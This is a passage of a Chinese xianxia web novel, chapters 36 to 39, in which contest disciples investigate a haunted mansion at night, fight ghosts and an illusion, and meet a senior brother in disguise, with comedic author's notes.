柱子遮挡了大半视线,却有一道瘦长的影子被阳光拉长露出。 纪楚看着影子头上熟悉的飘逸的发带,试探着问了句: “许盈?” “纪楚?!” 被点名的许盈大惊,从柱子后面探出头: “怎么是你?” 她抬头朝远处看了看: “原来刚刚那么热闹,是来抓你的?” 纪楚:“差不多吧,你怎么也在赵府?” 许盈挂着两个黑眼圈: “快别提了,昨晚又被赵府的人追了一夜,我哪都去不了。既然最危险的地方就是最安全的,我决定主动上门,杀他们个猝不及防!” 她话音刚落,亭子另一角忽然传来衣料摩擦的声响。 纪楚一惊,许盈急忙“嘘”的一声,手舞足蹈地示意她快找地方躲好: “差点忘了!这儿还有其他修士,我们对峙了好久,胜负未分,你快先找个地方藏起来!” 纪楚一听还有其他人,急忙挑了离许盈最近的一根柱子藏进去,一边探头问她: “是谁啊?” 许盈摇头表示不知道。 “……是我。” 反倒是另一根柱子背后传来一道无奈的女声。 随后一个身穿白色裙衫、头戴佛门莲花冠、样貌冷清的女子从第三根柱子后头绕了出来。 “出来吧,我早看见你们了。” 纪楚和许盈面面相觑,不知道该不该出去。 白衣女子见状,只得叹了口气,说: “是我,蒋成旭。” “我变成女子了。” 第36章 蒋成旭此刻的身份,就是那个和齐文轩有私情的赵府小姐赵玉琳。 赵玉琳其人性情冷淡,喜好诗书,因缘巧合下结识了到府中为赵老爷讲书绘画的齐文轩,一见钟情。 赵家是富户,自然不会和齐文轩这样的穷酸书生结亲,故而两人一直保持着地下恋情的关系,这和齐文轩家里查到的情况吻合。 根据蒋成旭所说,赵玉琳应当是察觉到了府中闹鬼的事情,这才一直吃斋念佛。 许盈和蒋成旭一起被安错了性别,这反而让两人同时松了口气,有种“一起丢人就不显得丢人”的安心感。 “你们两个怎么才来?” 蒋成旭不解: “过去整整两天两夜,除了个别不想争名次的混子,分到这里的弟子们已经在赵府打了好几轮了,你俩要是再不出现,我还 以为我们不在一个小世界呢!” 纪楚:“……” 许盈:“……” 两人对视一眼,从彼此眼里看见了明晃晃的疑惑。 许盈原本还想打肿脸充胖子假装一切尽在掌握,纪楚反倒直接问了出来: “为什么大家都要来赵府打架?任务不是捉妖计分、然后比分数高低吗?” 蒋成旭拧起眉头:“捉妖计分?” 他愣了很短暂的一瞬,飞快追问一句: “你们的任务是什么?” “当然是捉妖啊。虽然没找到赵府来,但是我在外面拿了好多分呢。” 许盈毫不犹豫掏出自己的玉书牌,正待炫耀,却发现上面空空荡荡,又恢复了刚来时的一片空白,不禁惊呼出声: “我分呢?!” 纪楚也急忙查看自己的玉书牌,发现上面同样是空空荡荡,一脸不可置信地晃了晃玉书牌。 被她俩傻乎乎的样子一打岔,蒋成旭心里的紧张瞬间变成了无语,出声提醒她们: “玉书牌只在晚上有字,白天全都恢复空白,你们这几天都没发现吗?” 许盈和纪楚:“……” “原来是这样啊哈哈……” 许盈听后尬笑两声,坚定维护自己的面子: “当然知道啊,我就是顺便考验你一下。” 实际上她从早到晚被赵府的人追,哪里有空研究玉书牌。 蒋成旭做了个“你高兴就好”的动作,组织了一番措辞,回答纪楚方才的问题: “修士来赵府,自然是因为这里气息最为阴邪,邪祟和妖物最多。” 很有道理。 纪楚认可这个回答。 毕竟她进赵府以后就感到阴气颇重,还有个小鬼怪叫吓唬她。 见蒋成旭看着她的玉书牌若有所思,纪楚随口问了句: “你的玉书牌呢,我们的任务都是捉妖,你的任务也是捉妖吗?” “……当然也是捉妖。” 蒋成旭回过神来,似乎不想过多讨论这个话题,抬头看了看天色: “现在距离晚上还有一段时间,我先送你们出去……” “出去?不能出去!” 许盈否决: “我是来找赵府的传家宝的!更何况你们都在这里猛猛得分,我怎么能空手出去?今晚我就要狠狠捉妖赚分!” 纪楚也拒绝:“我也不出去,赵府的鬼大白天都敢吓唬人,我非得把它除了不可。” 蒋成旭欲言又止半晌,只好说: “那你们先跟我回去,我帮你们打听传家宝和鬼的事。” 他的态度有点奇怪,好像赵府的传家宝和鬼都不是他最关心的事情。 但纪楚和许盈谁都没有多想,跟在他身后离开了槐园。 毕竟这里说到底还是一场比试,每个人都要拿出全部力气拼个输赢,蒋成旭有自己的考量也很正常。 再加上蒋成旭一直再三强调: “不要轻信其他人,问仙大会前三名的荣耀,一百五十年的修为,没有人不想得到。” 许盈因而更加觉得好玩,只当他是怕她们继续当混子,还悄悄对纪楚调侃: “瞅瞅他这副严肃的样子,看来是真的很想赢了。” 纪楚于是跟着说: “那我们也要加油了!” 赵玉琳住在赵府西侧,蒋成旭找理由将仆人家丁打发走,只留了一个沉默寡言的丫鬟守着门。 纪楚和许盈再次翻墙进来。 她二人自打来了这个小世界就一直翻墙,现在已经“鬼鬼祟祟”成了习惯,走到正屋门口还想找窗户,被蒋成旭拉住,推开大门请了进去: “没有别人,两位女侠不用躲了。” 许盈和纪楚两人进屋后拍了拍手上不存在的灰,掩饰尴尬。 蒋成旭给两人一人倒了一杯热茶,又摆了好多点心,这才开始分享他知道的情报。 赵家老爷赵明,一个贪财好色、自私自大的人,在城中的风评并不算好。 据蒋成旭所说,就连他的亲生女儿赵玉琳,都与他关系很差。 而赵府开始闹鬼的时间,恰好就是传家宝丢失当天。 赵府的传家宝究竟长什么样子,无人能说的清楚。 据说赵府老爷赵明十分在意此物,一直放在他的书房里,只他一人可以触碰。 直到前几天,齐文轩照常来书房给赵老爷讲书,之后传家宝就丢失了。 而从赵明将传家宝放回盒子里,再到传家宝消失的这段时间,赵明的书房里就只有赵明和齐文轩两个人。 无论怎么看,齐文轩都是最有可能盗宝的人。 而赵明自打丢了传家宝后便时常昏厥不醒,更没法打听具体情况了。 绕了一圈,竟然还是齐文轩盗宝的可能性最大。 这让纪楚和许盈感觉很是挫败。 蒋成旭看起来很忙,赵家大小姐的身份太过显眼,他既要假扮赵玉琳应付府里的事务,又得小心藏好自己的身份。 扮演一个异性,一个性格与他相差极大、还亲友一大堆、时刻被人盯着的异性,难度不可谓之不大。 纪楚刚准备表示对他的同情,就见蒋成旭抱来一大摞佛经和笔墨纸砚放在她们面前: “同情的话不必说,是朋友就来帮我分担点。” 纪楚:“……” 许盈:“……靠!” 蒋成旭叉腰,这个姿势将赵玉琳自带的清冷气质冲刷得一干二净,一副控诉模样: “怎么?我帮你们打听消息,你们连这点小忙都不愿意帮吗?” 他看起来十分失望伤心难过,一手捂着心口叹道: “原以为我们交情颇深,纵使是比试,也能互相帮助,为着帮你们打听消息,我还招了不少怀疑,却没想到竟是沙场无父子、天家无亲情、问仙大会里没有同门朋友情……” “打住!” 许盈听不下去了: “不要再用美女姐姐的脸做这种表情了,我们也没说不帮啊……” “那真是太好了!” 蒋成旭闻言果断放下手,熟练地理了理裙子,又整了整头上的佛门莲花冠,这才扮成赵玉琳的模样出了门,还不忘交代一句: “我得去拜见长辈了,顺便帮你们打听一下传家宝的情况,吃的喝的全在桌子上,随便拿,你们晚上别乱跑,抄不完不许出门啊!” 纪楚和许盈两人就这样莫名其妙抄起了佛经。 蒋成旭这一出门就没再回来,纪楚全然忘记了自己说过的“晚上回家吃饭”,拿着笔自动进入机械化抄写。 抄到数不清多少页的时候,许盈忽然回过神来,问纪楚: “你现在有什么感觉?” 纪楚抓着笔抬起头,认真回答: “我感觉蒋成旭在诓我们。” “我也是!” 许盈猛地站起身扔了笔,在桌子砸下一片墨痕: “他明知道咱俩最讨厌看书背书抄书,居然还拿这么多佛经让我们抄!摆明了不想让我们出去!” 她看向纪楚,神色狰狞: “以我和他从小一起长大的交情来看,这个姓蒋的,心里绝对有鬼!” 纪楚:“所以他为什么不想让我们出去?” 许盈咬牙切齿: “鬼知道!说不定是在外面偷偷得分呢!” “不至于吧?” 纪楚有些怀疑:“蒋成旭不像是这样的人啊?” “你别太相信他了!” 许盈脑子里浮现出许多往事: “他小时候的黑历史可太多了,以前我俩当邻居的时候,他打赌赢了我的簪子,到处宣扬是我送他的聘礼,坏我风评,害的我被爹娘好一通骂……” 纪楚听得一愣一愣的。 许盈越想越觉得自己是被蒋成旭算计了,重重一拍桌子: “谁爱抄谁抄去!姑奶奶我不伺候了!” 她拉起桌边的纪楚: “走走,事不宜迟,我们也猛猛得分去!” 纪楚被她一把从椅子上薅了起来,飞一般地冲向门口。 房门打开的一瞬间,冷风猛地灌了进来,纪楚和许盈望着面前一片漆黑、阴气四溢的赵府,以及恶鬼游荡、邪祟横行的怪状,两人同时愣住。 良久 ,许盈松开拉着纪楚的手,惊叹一句: “这是给我干哪来了?这还是赵府吗?” * 暮色西沉,孟喻辞在桌边垂眸静坐。 桌子上摆满了各色美食,饭香满溢,色泽莹润,连胡萝卜都被削成了半开的花苞,立在山药做的小兔子、豆腐削成的小猫旁边,美的像是艺术品。 孟喻辞的厨艺以超越常理的速度飞快进步,两天前还拿不准调料的用量,此刻已经有余力打磨造型。 但本该按时回家吃饭的纪楚却不见踪影。 他面上没什么焦急失望之色,只静静等着。 直到天边最后一点亮色消失不见,暗影缓缓覆上夜幕,阴风带来彻骨的寒意,孟喻辞才轻嗤一声,暗道自己是“傻了”。 怎么就因为纪楚一句话,还真赶着在天黑前回来,准备了一大桌子饭,又一直等到现在。 用剑修对刀刃的近乎变态的控制能力给食材雕花…… 呵。 他觉得自己真真是好笑极了。 莫非是和纪楚扮演“哥哥妹妹”久了,竟也连带着染上了她的傻气,就连看见块普通豆腐,都忍不住猜测“小猫”模样的会不会更加好吃…… 他觉得自己这份愤怒来的莫名,明知这个世界只为问仙大会的比试而存在,但心里还是忍不住想起“相亲”、“赵府”等字眼。 这个世界只在晚上才有妖邪,纪楚纵使是去探查消息,至于耗费一整个白天吗? 还是他当真教出了一个如此愚钝的师妹,到现在都没能察觉到这个小世界的诡异之处,轻易被这些人的几句话骗得“有家不回”? 冰冷的剑气自他指尖生发,寒气蔓上桌子,满满一桌食材眨眼间便被冻实后又绞碎,连餐盘碗筷都没剩下,只余桌面上一层薄薄的霜,被冷风一吹便散去无踪,像是从未存在过。 孟喻辞起身,循着邪气最重的中心,朝赵府走去。 若是她当真成了“魆”,他索性第一个将她淘汰出去,就当是他这个师兄,给自家师妹的“优待”—— 作者有话说:苦练厨艺却被放鸽子的师兄(越想越气)(微笑):吃什么吃,吃空气吧! 魆(xu一声),下一章频繁提及,设定为私设。 第37章 “魆,生灵被恶念控制所控,邪气缠身,恶意滋生,近乎邪魔,不可以人视之……” 许盈顶住大门: “你怎么念了一堆文邹邹的废话?这些家伙肯定不是人啊,重点是我们现在怎么办啊——” 方才她和纪楚一开门,就看见一群面目狰狞的人,和她们之前遇见的妞妞、赵府家丁等人相似,但是明显可怕的多。 房间内暖黄的灯光和清甜的点心香一下子吸引了那群人的注意,而和他们的状态截然不同的纪楚和许盈二人则直接成了活靶子。 顿时不少人拿着木棍和菜刀冲了过来,嘴里还喊着“赵贼该死”…… 虽然仇视的对象不是她们,但这群人似乎并不讲理,见她们从赵玉琳屋子里出来,便把她们当成攻击的对象。 许盈两手并用抵住身后的门,焦急地看向纪楚。 纪楚将书朝后翻了一页,发现后面全是空白纸张: “没了,赵玉琳的笔记就到这里。” 许盈气得要命: “蒋成旭这个狗肯定早看了这东西,偏偏不告诉我们!不要出门……他肯定早知道会变成这样!” 纪楚没来得及回答,三步并作两步冲到窗边,将一个试图破窗而入的丫鬟打扮的人打了出去,然后飞快关上窗户,用背抵着,这才有空对许盈说: “这些人应该是晚上变成魆,白天恢复正常,我们能动手吗?” “怎么不能动手?反正他们都不是人了,难道等着他们来杀咱们?” 许盈虽然这么说着,但还是抵着门没有动。 她心里也有着和纪楚一样的顾虑:这些“魆”白天就会恢复人的模样,她们根本不可能心无旁骛地只当除妖一样下死手。 诸如那些家丁丫鬟,诸如妞妞这样的孩子,分明对她们造不成什么伤害,如果晚上不由分说杀了他们,到了白天,她们真的能坦然面对自己的道心吗? 窗户和门都被撞出噼里啪啦的声响,纪楚提议: “我们先离开这儿吧。” 两人默数“三二一”,而后一齐松手。 门和窗同时打开,冷风瞬间灌进去,将桌子上的蜡烛吹灭。 一面漆黑中,屋子里只有桌上摊开的书被风吹得哗哗响,除此之外再无他人。 没了目标,闯进来的魆躁动一阵后很快安静下来,再次像游魂一样,握着武器,朝着正院的方向走去。 纪楚和许盈两人如同蜘蛛一样攀在房梁上,看到他们走了,这才松手跳了下来,摸黑跟在他们后面。 “他们看起来怨气好重。” 许盈道:“可见赵家待他们并不算好,打工人可真难啊。” 等了半天没听见纪楚回复,她不禁疑惑,又问了句: “你说是不是……纪楚——?” 尾音变了调。 一直走在她身边的纪楚不知何时没了踪影,只一张双目带血的鬼脸跟在她身边,凑的格外近。 * 纪楚原本正拉着许盈的手,可走着走着,忽然觉得掌中触感冰凉潮湿,像是捏住了刚才河里捞出来的鱼,一股难闻的水腥味扑面而来。 她当即意识到不妙。 耳边传来女子幽幽的声线: “人世苦多,你……” 纪楚根本不听她掰扯,松手的瞬间果断召出长剑,于半空中横划一道剑光,而后撞上了一个坚硬如铁的东西,竟是一双泡肿的乌青鬼爪。 纪楚:“呕——” 一想到她刚刚摸到的就是这种东西,没忍住干呕了一声。 哪知这下意识的反应竟惹恼了面前披头散发的鬼,一张看不清面容的鬼脸猛得凑上来,鬼口大开,高声尖啸: “无礼小儿!找死——” 纪楚猝不及防被鬼突脸,着急忙慌地后退一步躲开攻击。 刚站稳,又低头“呕”了一下。 这次干呕完还不忘解释:“对不起,这个味道实在太难闻了……” “啊啊啊啊——” 面前的鬼彻底怒了。 什么引诱不引诱的全都不在乎了,她要这个没礼貌的小鬼血溅当场! 鬼爪伸长至数寸,甲面深红带着血腥气,像是覆盖了好多层的凝固的血。 遮挡在脸前的头发下面,是一张肿胀到看不出本来面貌的脸,青青紫紫的斑点覆盖其上,仿佛刚从地下挖出来的僵尸。 舌头长伸,眼珠…… 纪楚看了一眼这鬼突出到快要掉下去的眼珠子,嗓子眼顿时不受控制,再次干呕出声。 这还是她第一次和造型这么恐怖的鬼面对面,而手上一直残留着握住鬼爪的那种粘腻阴冷的触感,更是让她恨不得将自己的手一起剁了。 可惜不能,她还没有学会断臂重生,只能洗干净继续用。 于是纪楚一边不断重复着朝手上扔“清洁术”的动作,一边挥剑挡鬼。 因为看着恶心碰到更恶心,所以纪楚简直用了不要命的架势,不但时刻提防着这只鬼的靠近,更是卯足了力气要在对方露出脸之前提前把它砍倒。 几番打斗之后,这只鬼被她砍得十指断裂,狼狈不堪,再无先前那般尖叫放狠话的力气,一个劲儿地求纪楚放了它。 纪楚一边给自己顺气,一边毫不犹豫地一剑解决了它。 直到这只鬼化作一道雾气消散,纪楚才感觉自己的鼻子重新开始工作。 只是一呼一吸间总带着沉重的潮湿气 息,让她觉得自己好像掉进了什么鬼窝。 事实确实如此。 一只鬼死了,千千万万只鬼站了起来,黑暗中,一双双发绿的眼珠子盯着她,有的甚至只有一对儿眼珠子悬在半空。 尖细幽森的鬼叫一声叠着一声,越来越近越来越大,如同指甲划过铁皮,夹杂着哀嚎与啜泣,如同一屋子人同时在她耳边诉苦,听得人难以自控地萌生出烦躁痛苦以至于想要砍点什么来发泄的冲动。 纪楚:“……” 我这是掉到冥界了吗? 她心里怀疑着,捏紧了手中的剑柄。 好烦,好想砍点什么啊…… 这念头刚一冒出来,纪楚面前的场景瞬间发生了变化。 眼前的鬼影消失不见,冷而森寒的亮光中央,一棵细嫩的枝芽从地上破土而出,而后当着纪楚的面极快地完成来了抽条、变粗、长高、开花的过程。 眨眼间,纪楚面前就多了一棵枝繁花茂的桃树,上面的桃花一簇挨着一簇,长的格外艳丽,隐约还能闻见桃花甜香。 纪楚皱起脸,心里的那股子恶意滋生到无限大,左右看了看,没有其他人,于是遵循心里的本能,抬剑重重砍向花枝。 桃枝断裂,花朵委地,花瓣纷飞,好一派凄美景象。 纪楚却反而高兴起来: “早就想把这棵树砍了!可算叫我等到师兄不在了!” 是的,她心里最想砍的东西,就是师兄院子里那棵开满花的桃树。 打她是吧?今儿就把枝枝叉叉全给你削了,看师兄回来还能拿什么打她! 纪楚“哼哼”两声,灵力灌进长剑,模仿着师兄出手时的模样,一剑干脆果断招式凌厉,斩向桃树树根。 尖叫声顿起。 冲天的长啸忽而自面前被砍得七零八落的桃树上冒出来,纪楚吃了一惊,剑刃还插在树根上。 这一声剧烈的尖叫打破了纪楚沉浸式砍树的快乐。 于此同时,身旁不知何时立了一道修长身影,长身玉立,目光沉静,雾气迷蒙看不清长相,隐约像是师兄。 纪楚意识到自己做了什么,心里顿时咯噔一下。 她竟然胆大包天砍了师兄的树,还是这种斩草除根的方式,甚至是当着师兄的面! 她什么时候这么勇了! 虽然她前世就拔了师兄院子里的花炒菜吃,但是很快她就被师兄一剑捅死了,想必师兄到最后都不知道是她干的,但是这次她还活的好好的,她该怎么解释啊啊啊啊—— 纪楚的思维疯狂发散,短时间内推敲了一百种解释方案,又被一一否决。 最后只能硬着头皮解释: “师兄,不是你想的那样……” 对面那人没有说话。 纪楚心里翻江倒海,左顾右盼一圈,捡起一截勉强还能入眼的树枝,拍了拍上面不存在的土,递给师兄,提出方案: “要不……我帮师兄重新再种一棵?” 师兄没接,甚至微微歪了歪头,饶有兴致地看着她。 纪楚拿着一截树枝如坐针毡如芒刺背,心道“果然是糊弄不过去”,泄气般道: “好吧好吧,我错了,我不该偷偷砍你的树,师兄你生气是应该的……” 某个瞬间,她的视线不经意移向自己面前的桃树,然后她就发现,离她最近的树干上,一双眼珠子泛着诡异的光,像是在冲她笑。 笑着笑着,左边那个眼珠子就流出血来,瞳孔开始朝上翻,还保持着笑意。 桃树上为什么会长眼睛? 不对! 桃树能发出尖叫声吗? 纪楚猛地睁大眼睛,顿觉后背发凉。 幻境随着她的清醒破碎,眼前哪儿还有什么桃树,取而代之的是一堆簇拥在一起假扮成桃树模样的小鬼。 被她打落的桃花也成了绿油油的鬼眼,在地上无助地翻滚哀嚎着。 而她手上…… 纪楚动作僵硬地低头看向自己的手。 她手上拿的自然也不是什么树枝,而是一截颜色惨白的断骨! 人在受到极端惊吓的时候是会当场呆住的。 纪楚:“……” 她面色平静地松手,断骨掉到地上。 而后她拔出自己的剑,退后一步,整个人看起来冷静镇定超脱凡尘。 就连孟喻辞都以为她真的如此平静的时候,纪楚忽然“啊——”的一声大叫,听起来又怕又崩溃,还夹杂着愤怒和恼羞成怒。 纪楚觉得自己被耍了。 这群鬼不但长的恶心,竟还假扮师兄来吓唬她! 瞧瞧这鬼,直到现在还不现出真身,简直把她当猴耍! 纪楚捏紧拳头,怒意无限上涌,而后两手握住剑柄,像抡大锤一样朝着面前这个人砸过去—— 雾气被剑上灵力划开,露出杨念之清俊的容貌。 一双黑沉双眸正望着她,不躲不闪。 纪楚长剑一下子顿住。 她的声音有点不确定:“杨念之?阿兄?” 她收了剑势却没收剑,仍保持着一段距离,用剑尖小心翼翼戳了戳他肩膀: “小鬼别想骗我。” 孟喻辞目光从纪楚脸上扫过,确认她身上毫无邪气,没有变成魆,也没有入魔,仍是早上离家前的模样,只是被鬼吓得更傻了些,这才缓缓开口: “杨思思,你发什么疯?”—— 作者有话说:师兄:让我看看师妹的心魔是什么 啊,是桃树[问号] 第38章 “杨思思,你发什么疯?” 这句不怎么友好的话一出,反倒让纪楚松了一口气。 看来方才的桃树啊、师兄啊什么的,全都是她被恶鬼蛊惑后的幻觉。 她仍在小世界里,身份是“杨思思”。 随即她又意识到,赵府的晚上恶鬼横行并不安全,连她都不小心被拉进了恶鬼造的幻觉中,杨念之怎么能好端端出现在这里? 甚至……他看见拿着剑砍鬼的“杨思思”,竟然丝毫不觉得惊讶,淡定地过了头。 纪楚看向“杨念之”的目光顿时充满了怀疑,试探道: “你不会也是……” 孟喻辞看她一眼,颇有些意味深长,没说是也没说不是。 但这足够纪楚明白了。 她倒吸一口凉气,想要捂嘴惊呼,又想到自己刚刚摸过鬼的骨头,只得放下手,一边施了个清洁术,一边惊道: “你竟然不是真的杨念之!” 孟喻辞看着她乱七八糟的发型和衣服,忍不住皱眉,伸手将她的头发理顺,领口拉平展。 纪楚追问: “你是哪个峰的?是师兄还是师姐?你是不是早就知道我不是杨思思了……啊我知道了,那天晚上你去敲何婶的门,是不是察觉到妖气了?” 她“嗐”了一声: “早知道你也是修士,我就不以做饭的理由把你忽悠走了!” 知道“杨念之”也是修士后,纪楚明显放松许多,语气很是轻快: “不过你做的饭真的超级好吃的,我……” 说到一半,她忽然卡了壳。 冷风一吹,被忘记的事情全都想了起来,纪楚不禁想到自己早上说过的“晚上回家吃饭”,现在却大半夜出现在赵府,摆明是已经忘了……于是偷偷看了一眼“杨念之”。 这位扮演“杨念之”的师兄或者师姐不会真的做了一大桌子饭等着她回去结果被她鸽了所以才追到赵府来找她算账的吧? 这一眼被孟喻辞发现了。 他自然知道纪楚想起了什么,面色不变,淡淡反问: “是吗?” 纪楚下意识回答: “当然是真的,我恨不得天天在家吃饭……” 说完她才反应过来,忍不住在心里骂了自己一句: “这不是哪壶不开提哪壶吗?前头放人鸽子后头又说想要,这不是找骂吗?!” 再抬头看见“杨念之”时,纪楚忍不住幻视了他在厨房苦练做饭技术终于摆出了一大桌子饭却只能“独守空桌”的凄惨场景。 联想到修士辟谷根本不需要做饭,而这位师兄或者师姐却还是为了扮演好这个角色而专门精进了厨艺,甚至明知道她是修士,还按时按点为她准备饭菜。 现在才出现在赵府,不会是在家里等了她好久吧 …… 而她呢? 她得寸进尺,她言而无信,她放人鸽子,简直是个混蛋! 纪楚的良心疯狂自我攻击,终于在巨大的自责下开了口: “对不起,我今天没有按时回家,放了你鸽子。” 孟喻辞看她一眼。 纪楚继续说:“……你生气是应该的,毕竟是我食言了,害的你白等好久,虽然一开始是因为何婶要拉我去相亲,但主要是因为我想探一探赵府的情况,所以我……” “没有。” 孟喻辞忽然开口,打断她的道歉和解释。 纪楚“啊”了一声,没反应过来。 孟喻辞神色淡漠,强调道: “我没有等你。” “这样啊……” 纪楚酝酿出来的自责情绪骤然被打断,转而成了一种“羞愧”和“尴尬”。 “杨念之”这样子就好像在说: 你多大脸啊?真以为一句话就能让我等你好久吗?你能有任务重要?别自做多情了,我根本没有等你。 纪楚说不上是庆幸还是失望,总归是有种被噎住的吃瘪感,一时也不知道该说点什么,只得干巴巴地回了句: “没等就好……” 一抬头,发现“杨念之”仍盯着她,急忙转移话题,试图缓解尴尬: “那这位……我们先离开这儿吧。” 孟喻辞“嗯”了一声,抬步先行。 纪楚蔫了吧唧地跟在他身后。 孟喻辞余光瞥她一眼,勾了勾唇,这才觉得心底攒了许久的不快消散许多。 不知怎的,越是见纪楚这副没心没肺、天大的事情转头就忘的样子,他就越是想抓着她的错处教训她一顿。 他暂时只能把自己的这种心情归咎于“受了杨念之对杨思思的态度影响”。 毕竟,没有哪个哥哥会喜欢看见自己的妹妹夜不归宿,是为了去找别的男人。 待离开这一片难闻的恶鬼聚集地后,纪楚感觉空气里那股粘稠潮湿的味道一下子消失了。 她的心情很快好起来,正准备忘记一切不愉快,和“杨念之”告别去找许盈时,不期然听见他问了句: “你方才在幻觉里砍的什么?” 纪楚:“……” 被恶意操控着砍师兄院子里的桃树这事儿不怎么光彩,说出来还显得她“记仇又小气”; 再者说,都是来参加问仙大会的,万一这人认识师兄,出去随口提一嘴,那她就完了。 纪楚打算随便找个理由糊弄过去。 谁知她这念头刚一起,“杨念之”就跟知道她想糊弄似的,“及时提醒”她了句: “我听见“桃树、师兄”几个字。” 纪楚:“……” “杨念之”的目光平淡中带着莫名的穿透力,仿佛是真的在好奇,又仿佛是在等着看她手忙脚乱找补的笑话。 纪楚再度浮现出被噎住的感觉,某个瞬间她甚至觉得,这个“杨念之”一定是知道些什么,现在这副正经的外表只是方便他在心里狠狠嘲笑自己。 但再看过去时,对方的表情却毫无破绽,正在认真等她的回答。 纪楚心里的想法在脸上一览无余。 孟喻辞面上不显,心里却早已清楚她的这些小心思。 打不过他,就想退而求其次对着桃树下手。 出息! 修炼的时候光想着偷懒跑神,满脑子都是怎么砍他院子里的树,真以为他看不出来吗? 不过是看着她有怨气不敢撒,只敢背着他冲桃树骂骂咧咧的样子实在好笑,这才一直没有拆穿她罢了。 不过也正因为她这总和旁人不大一样的脑子,才没能被赵府的这些邪物蛊惑,从而免了被他提前淘汰的风险。 孟喻辞说不清心里是遗憾还是高兴。 这边纪楚终于编好了理由: “我是看到师兄院子里的树长的不好,所以帮他修修而已……哎呀可惜了,我好容易修剪好了树枝,结果竟然是幻觉!” 孟喻辞打量着她神情,语调微微上扬: “是吗?可我看你当时神情凶悍,不似修剪枝芽,倒似斩草除根啊?” 听见他的话,纪楚倒吸了半口凉气,又极快地压下去。 “当然了!” 她郑重点头强调,睁大眼睛与“杨念之”对视,还眨巴眨巴眼,显得又乖巧又灵动: “我最敬仰的就是师兄了,恨不得把师兄和他的一切东西都供起来,表情哪里会凶悍啊?肯定是认真和虔诚,你看错了!” 这是她用惯了的表达真诚的法子。 虽然以孟喻辞的经验,她这样十有八九是在打鬼主意,又或者是想要浑水摸鱼地糊弄他,将他当成那好骗又好哄的冤大头,不是躲罚就是撒娇。 但他还是放过了她,没有继续踩她的“狐狸尾巴”。 “这位……” 眼见“杨念之”“嗯”了一声继续朝前走,似乎是听信了她的鬼话,纪楚仍有些不放心,小跑两步追上他,侧着身子倒走两步,边问道: “……师兄或者师姐,你认得我师兄吗?” 孟喻辞垂眸看向这颗从他身侧冒出来的、一脸小心翼翼打探神情的毛茸茸的脑袋,不答反问: “你师兄是谁?我应该认识吗?” 纪楚撇嘴,一边在心里说“连我师兄孟喻辞都不认识,那你真是孤陋寡闻”,一边打哈哈说: “啊,没什么,我师兄就是一个特别低调的普通弟子,你不认识他简直太正常了。” 她脸上露出“放下心来”的窃喜表情,努力克制喜悦的样子像一只腮帮子里藏满了坏主意的松鼠,看得孟喻辞指尖一动。 ——他忽然很想捏她的脸,顺便问问自己在她心里是怎么一个“低调普通”法。 只是还未付诸实践,前面忽然出现两个人影。 蒋成旭和许盈看见纪楚后先是一喜,又在看见一旁的“杨念之”后神色警惕。 纪楚倒是没多想,一见着熟人,急忙抛下“杨念之”朝两人的方向赶去: “许……齐文轩,你没事吧?我刚刚忽然被一个鬼拉走了。” 许盈握住她的手: “我没事,你呢?你受伤了吗?” “当然没有。” 纪楚摇头:“但是那个鬼长的太丑了,太恶心了,还能变成树,树干上都是眼睛,还会流血……” “咦……” 许盈被她的惟妙惟肖的形容说的打了个冷战,也跟着恶心起来,忍不住说: “那我这边的鬼好看多了,虽然也很吓人,但是起码是个人样,就是舌头有点长,一开始差点舔到我……” “咳咳。” 蒋成旭见这俩人的话题又跑偏了,忍不住咳嗽两声,打断她们对鬼的外貌的分享,转向“杨念之”: “这位是……?” 纪楚这才想起来自己还没有介绍“杨念之”的身份,于是拉着许盈的手转身,承担起了介绍人的工作: “这是齐文轩,赵玉琳,我的朋友。” 然后她指向孟喻辞,微微歪着头,语气像是在献宝: “这是杨念之,杨思思的哥哥,我刚刚才知道,他和我们一样。” “也是修士”几个字不必说,许盈和蒋成旭就已经明白了她的意思。 许盈“哇”了一声,抓着纪楚的手摇了摇。 然而蒋成旭脸上的表情并没有因为“同为修士”而放松下来,反而更加凝重: “你也是修士?那我之前怎么没在赵府见过你?” 孟喻辞的目光从纪楚和“齐文轩”一见面就拉住不放的手上移开,转向蒋成旭,淡淡开口: “两者并无关联。” 他微微眯起眼睛,看向蒋成旭的神色颇有些高深莫测: “还是说你觉得,修士——一定会出现在赵府?” 蒋成旭因他这句话猛得皱起眉头,浑身气息大变,像是随时打算动手。 孟喻辞仍神色淡淡,像是不曾察觉危险。 第39章 纪楚不知道两人为何一见面就针锋相对,下意识回答道: “当然不啊,我和齐文轩就是今天才找 到赵府来的。” 许盈也跟着点头,空出的一只手竖起大拇指,神情骄傲,颇为自洽: “可不咋滴,我俩就是这么与众不同。” 然后和纪楚相视一笑,一起嘿嘿嘿傻乐。 蒋成旭看着他的两个一无所知但依然乐观的傻子朋友,满肚子的纠结痛苦秘密也全都无法言说,一时只剩沉默。 孟喻辞看向纪楚,眼里也多了几分笑意。 空气中剑拔弩张的气氛顿时消散无踪。 许盈道:“既然找到纪楚了,我们就去找阵心吧。” 她转向纪楚:“你还不知道呢,蒋……” 刚准备说出蒋成旭全名,许盈忽然看见站在纪楚身边的“杨念之”,到底是个身份不明的竞争者,于是她立马改口: “赵玉琳已经找到了赵府古怪的根源,就是因为这里藏着一个地煞锁魂阵。” “地煞锁魂阵?” 纪楚震惊:“这东西会弄出那么多魆吗?” 孟喻辞看她一眼。 纪楚只当他还不知道,好心分享消息: “就是那些奇奇怪怪的人,你肯定也见过了,他们都是被恶念控制的魆,天黑才会暴露。你要小心,别被他们伤到了。” 孟喻辞“嗯”了一声,并无多少震惊神色,只道: “你也是。” 蒋成旭动了动嘴,想说些什么,又见“杨念之”神色平静,看向纪楚的目光中并无嘲讽或是恶意,于是只得将嘴边的话压了下去,转而道: “我也是今夜才确定……总之,你们跟着我,不要乱走。” * 许盈和蒋成旭在前面领路,纪楚落下两步,走到孟喻辞身边。 “这位师……兄或师姐……” 她刚起了个头,就被孟喻辞打断: “杨思思。” 他垂眸看向她: “你是否忘了,比试的规则。” 纪楚一愣,立马顺着他的话开始回忆:自己是不是忘记了什么重要的规则? 没有吧? 她不太确定。 看她苦思冥想却不得答案的疑惑表情,孟喻辞提醒她: “比试中,不可暴露身份。” 纪楚眨巴眼,先是不明所以,随后恍然大悟。 原来他是想告诉她:不论真实身份是什么,在这里,他都是“杨思思”的兄长。 这样“师兄还是师姐”的难题就迎刃而解了! 困扰自己许久的小问题被解决,纪楚感觉说话时气都顺了不少,脆生生叫了句: “我知道了,阿兄!” 孟喻辞长睫轻微一颤,凝视纪楚几息后收回目光,垂眸,按下心底因她这句极为清脆好听的“阿兄”二字而生出的些许涟漪,轻声回应: “嗯。” 